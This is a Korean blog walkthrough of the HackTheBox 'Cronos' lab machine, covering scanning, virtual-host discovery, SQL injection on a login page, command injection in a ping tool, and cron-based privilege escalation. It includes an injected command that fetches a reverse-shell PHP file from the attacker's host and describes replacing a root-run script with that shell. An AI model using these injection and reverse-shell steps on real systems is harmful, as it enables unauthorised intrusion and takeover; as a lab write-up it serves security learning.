외로운 Nova의 작업실

HackTheBox - Cronos 본문

Server Penetesting/Hack-The-Box

HackTheBox - Cronos

Nova_ 2023. 4. 26. 08:20

 

- 환경

공격자 : 10.10.14.8

타겟 : 10.10.10.13

 

- 스캔

nmap -Pn -n -p- -sV -sC -v --min-rate 2000 --max-retries 4 -oA nmap 10.10.10.13

22번 80번 53번이 열려있습니다. 일단 뭐 웹서버를 방문 해보겠습니다.

그냥 기본 페이지입니다. 고부스터로 디렉토리를 돌렸는데, 아무것도 나오지 않습니다. 아무래도 가상 호스트를 사용하는 것 같습니다. 네임서버가 존재하니 nslookup으로 역 ARP를 해보겠습니다.

도메인은 cronos.htb인 것 같습니다. /etc/hosts 파일에 넣어주겠습니다.

그러면 domain name을 가지고 웹사이트를 방문해보겠습니다.

 

고부스터로 해당 웹페이지의 디렉토리를 돌려보았지만 쓸데없는 것만 나왔습니다. 아무래도 가상 호스트들이 몇개 더 있는 것 같습니다. 고부스터로 가상 호스트들을 찾아보았지만, 아무것도 없었습니다. 그래서 이번에는 고부스터 vhost 명령어로 cronos.htb의 가상 서브도메인들을 찾아보겠습니다.

gobuster vhost -w /usr/share/wordlists/domain/subdomain-top10million-5000.txt -u cronos.htb --append-domain

admin.cronos.htb가 있습니다. 이것도 /etc/hosts 파일에 추가해주고 방문해보겠습니다.

이제야 뭔가 침투할게 보입니다.

 

- 침투

취약한 패스워드 취약점이 있는지 확인하기위해 admin, password, qwer등등 여러가지 시도해보았지만 전부 틀렸습니다. sql injection만 한 다음 브루트포스 공격을하려고 생각했는데, sql injection이 통했습니다.

이제 net tool이 보입니다. 뭐 명령어를 전달해주면 php상에서 exec()함수를 이용해서 ping과 traceroute 명령어를 실행하는 것 같습니다. 그러면 ;기호를 사용해서 또 하나의 명령을 심어줄 수 있겠습니다. ;ls를 넣어보겠습니다.

잘 먹습니다. 이제 nc 명령어로 역리버스쉘을 하려고했는데 먹질 않습니다. 그래서 리버쉘 php를 심어서 php를 실행시켜야합니다.

8.8.8.8; wget http://10.10.14.8/reverse_shell.php

이제 리버스 쉘을 방문해줍니다.

그러면 쉘이 도착합니다.

 

- 권한 상승

sudo -l 옵션을 보겠습니다.

tty가 아니라고 안먹네요... 그러면 crontab을 보겠습니다.

쓸만한게 있네요. 분단위로 php /var/www/larabel/artisan을 실행시킵니다. 한번 이게 뭔지 보겠습니다.

#!/usr/bin/env php
<?php

/*
|--------------------------------------------------------------------------
| Register The Auto Loader
|--------------------------------------------------------------------------
|
| Composer provides a convenient, automatically generated class loader
| for our application. We just need to utilize it! We'll require it
| into the script here so that we do not have to worry about the
| loading of any our classes "manually". Feels great to relax.
|
*/

require __DIR__.'/bootstrap/autoload.php';

$app = require_once __DIR__.'/bootstrap/app.php';

/*
|--------------------------------------------------------------------------
| Run The Artisan Application
|--------------------------------------------------------------------------
|
| When we run the console application, the current CLI command will be
| executed in this console and the response sent back to a terminal
| or another output device for the developers. Here goes nothing!
|
*/

$kernel = $app->make(Illuminate\Contracts\Console\Kernel::class);

$status = $kernel->handle(
    $input = new Symfony\Component\Console\Input\ArgvInput,
    new Symfony\Component\Console\Output\ConsoleOutput
);

/*
|--------------------------------------------------------------------------
| Shutdown The Application
|--------------------------------------------------------------------------
|
| Once Artisan has finished running. We will fire off the shutdown events
| so that any final work may be done by the application before we shut
| down the process. This is the last thing to happen to the request.
|
*/

$kernel->terminate($input, $status);

exit($status);

php파일입니다. php 명령어로 실행시켯으니 php파일이겠죠..?ㅎㅎ 그러면 이걸 아까 다운받은 reverse_shell 내용으로 바꿔줍니다.

그러면 좀 기다리면,

리버스 쉘이 도착합니다.

 

- 느낀점

1. web서버를 스캔할때는 디렉토리 말고도 가상 호스트를 항상 스캔해줘야합니다. 서브도메인도 말입니다.

2. 로그인 페이지에서는 취약한 패스워드 - sql injection - 브루트 포스 순으로 접근하는게 좋을것같다는 생각이들었습니다.

3. 권한상승은 sudo -l -> cat /etc/crontab을 거친후에 없다면 다른 데이터베이스나 여러 파일을 삽질하는게 좋을 것 같다는 생각이 들었습니다.

 

'Server Penetesting > Hack-The-Box' 카테고리의 다른 글

HTB - Stocker  (0) 2023.05.13
HTB - nineveh  (0) 2023.04.27
HackTheBox - Beep  (0) 2023.04.24
HackTheBox - nibbles  (0) 2023.04.22
HackTheBox - brainfuck  (0) 2023.04.21
Comments